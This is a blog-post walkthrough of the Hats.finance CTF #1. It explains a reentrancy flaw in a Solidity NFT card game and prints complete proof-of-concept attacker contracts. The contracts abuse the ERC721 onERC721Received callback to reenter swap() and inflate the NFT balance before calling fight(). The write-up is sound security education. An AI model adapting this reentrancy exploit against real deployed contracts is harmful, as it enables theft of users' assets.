đź“š

Solution to Hats.finance CTF #1

Tags
Security
Publication
May 16, 2022

Hats.finance is a decentralized smart bug bounty marketplace that intends to regularly run CTF competitions.

This post provides a quick walkthrough of hats’ first challenge and the solution I came up with.

The Challenge

Provided was a Game.sol contract that encodes a card fighting game where the goal is to obtain a flag by pitching your deck of cards (called Mons) against the deck of the flag holder and win the fight. You can find the GitHub repo here.

After joining the game, using Games#join(), a wallet receives their 3 Mons as NFTs.

Initiating a fight happens through the Games#fight() function. Two notable implementation details are:

  • Even with the best deck of Mons possible (every Mon 9/9), an attacker would lose against the current flag holder because they also hold a deck of 9/9 cards, and in case of a draw the current flag holder wins
  • The winner of a fight is whoever holds more Mons after the fight
// winner is the player with most Mons left
if (balanceOf(attacker) > balanceOf(opponent)) {
    flagHolder = attacker;
}

The Idea

What if it would be possible to increase the number of Mons held in one wallet?

If a wallet would hold 7 Mons it would win against the current flag holder. 3 Mons would be burned from the attacker’s wallet during the fight, leaving 4 Mons in the attacker’s wallet and 3 Mons in the flag holder’s wallet after the fight is over. This leads to the attacker being selected as the winner.

Finding a way to increase a wallet’s Mon balance

Going through the code trying to find a way to increase a wallet’s Mon balance, the Games#swap(address to, uint monId1, uint monId2) function looks promising.

It is the only public callable function that transfers Mon NFTs between wallets.

The Mon cards are implemented as ERC721s, building upon the OpenZeppelin library. The swap function transfers the NFTs using OpenZeppelin’s ERC721#_safeTransfer(address to, uint id) function.

Checking the deps

OpenZeppelin’s ERC721#_safeTransfer function looks like this (link):

function _safeTransfer(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) internal virtual {
    _transfer(from, to, tokenId);
    require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
}

The function first transfers the NFT to the receiver address and afterwards checks that the receiver is an ERC721Receiver.

What is an ERC721Receiver? What exactly does the _checkOnERC721Received function do?

function _checkOnERC721Received(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) private returns (bool) {
    if (to.isContract()) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
            return retval == IERC721Receiver.onERC721Received.selector;
        } catch (bytes memory reason) {
            // Error handling omitted.
        }
    } else {
        return true;
    }
}

An ERC721Receiver, as implemented in the function, is:

  • An EOA address
  • A contract that returns ERC721’s onERC721Received function selector when called via the onERC721Received function

Back to the Game

Quite literally, the winning move is going back to the game.

Let’s recap:

  • Calling the Games#fight() function with a wallet holding 7 Mons wins the game
  • Transfer of NFTs between wallets is only possible through the Games#swap() function
  • Directly after a Mon transfer, the receiver is called via the ERC721#onERC721Received() function

The solution is to use the ERC721#onERC721Received() callback to reenter the game.

Capture the Flag

A path to capture the flag would then be:

  • Create a few fren wallets, each joining the game and holding 3 Mons
  • Create an attacker contract and join the game
  • Call the Games#swap() function from a fren wallet to transfer a Mon to the attacker wallet
  • The attacker uses the ERC721 callback function, in which they hold 4 Mons, to let a fren wallet send him another Mon
  • Repeat the last step until the attacker’s wallet holds at least 7 Mons
  • If the attacker holds at least 7 Mons while being called via onERC721Received(), attack the flag holder via Games#fight()

Implementing the PoC

We need two different contracts, the user fren contracts from which the attacker borrows NFTs, and the attacker contract that reenters the game when called via onERC721Received().

You can find the whole repo here.

Let’s start with the User contract:

contract User {
    // The attacker's address.
    address private immutable solution;
    // The game's address.
    IGame private immutable game;
    // Our deck, i.e. our 3 Mon NFTs.
    uint[3] private deck;

    constructor(address game_) {
        solution = msg.sender;
        game = IGame(game_);
    }

    function joinGame() external {
        deck = game.join();
        require(
            game.balanceOf(address(this)) == 3,
            "User#joinGame: Joinig game failed"
        );
    }

    // Note that a Mon needs to be flagged as `upForSale` before a swap
    // can be initiated.
    function putUpForSale() external {
        game.putUpForSale(deck[0]);
        game.putUpForSale(deck[1]);
        game.putUpForSale(deck[2]);
    }

    // Swap an own Mon with some Mon from the attacker.
    // This function is called by the attacker. 
    function attack(uint idx, uint wantId) external {
        game.swap(solution, deck[idx], wantId);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}

The attacker will call the attack() function, initiating a swap from a Mon from the user’s wallet to a Mon from the attacker’s wallet.

Going further, let’s check out the attacker contract, called Solution:

contract Solution {
    // The game's address.
    IGame private immutable game;
    // Our deck, i.e. our 3 Mon NFTs.
    uint[3] private deck;

    // The two fren contracts to borrow Mon NFTs from.
    User u1;
    User u2;

    constructor(address game_) {
        game = IGame(game_);

        // Join game, receive 3 NFTs.
        deck = game.join();
        require(
            game.balanceOf(address(this)) == 3,
            "Solution: Joinig game failed"
        );
    }

    // Function to start the attack.
    function captureFlag() external {
        // Put own NFT's for sale.
        game.putUpForSale(deck[0]);
        game.putUpForSale(deck[1]);
        game.putUpForSale(deck[2]);

        // Deploy 2 User frens.
        u1 = new User(address(game));
        u2 = new User(address(game));

        // Let user's join game.
        u1.joinGame();
        u2.joinGame();

        // Let user's NFTs put up for sale.
        u1.putUpForSale();
        u2.putUpForSale();

        // Start attack.
        u1.attack(0, 8);
    }

    // This function is being called during a swap we initiated with
    // a `<User>.attack()` call.
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        uint balance = game.balanceOf(address(this));

        // During the fight we will lose 3 NFTs. In order to still have a
        // higher balance than the current flagHolder, we need 7 NFTs.

        if (balance == 4) {
            // Continue with attack.
            u1.attack(1, 6);
        } else if (balance == 5) {
            // Continue with attack.
            u1.attack(2, 7);
        } else if (balance == 6) {
            // Continue with attack.
            u2.attack(0, 9);
        } else {
            // Initiate fight...
            game.fight();
            // ...and make sure we won.
            require(game.flagHolder() == address(this));
        }

        // Afterwards return the correct function selector to make OZ's
        // `_safeTransfer()` function pass.
        return IERC721Receiver.onERC721Received.selector;
    }
}

The function captureTheFlag() initiates the attack. It marks their own Mon NFTs as upForSale and sets up the two User contracts. Lastly, it starts the attack by starting a swap with a user’s wallet and the attacker’s one.

The attacker contract will then be called back via the onERC721Received() function, in which a next swap is initiated as long as the Mon NFT balance is less than seven.

If the Mon NFT balance is sufficient, the Game#fight() function is called.

To make OZ’s _safeTransfer() function pass after we won the game (remember, all the NFT swaps are not yet fully executed), we return the expected function selector.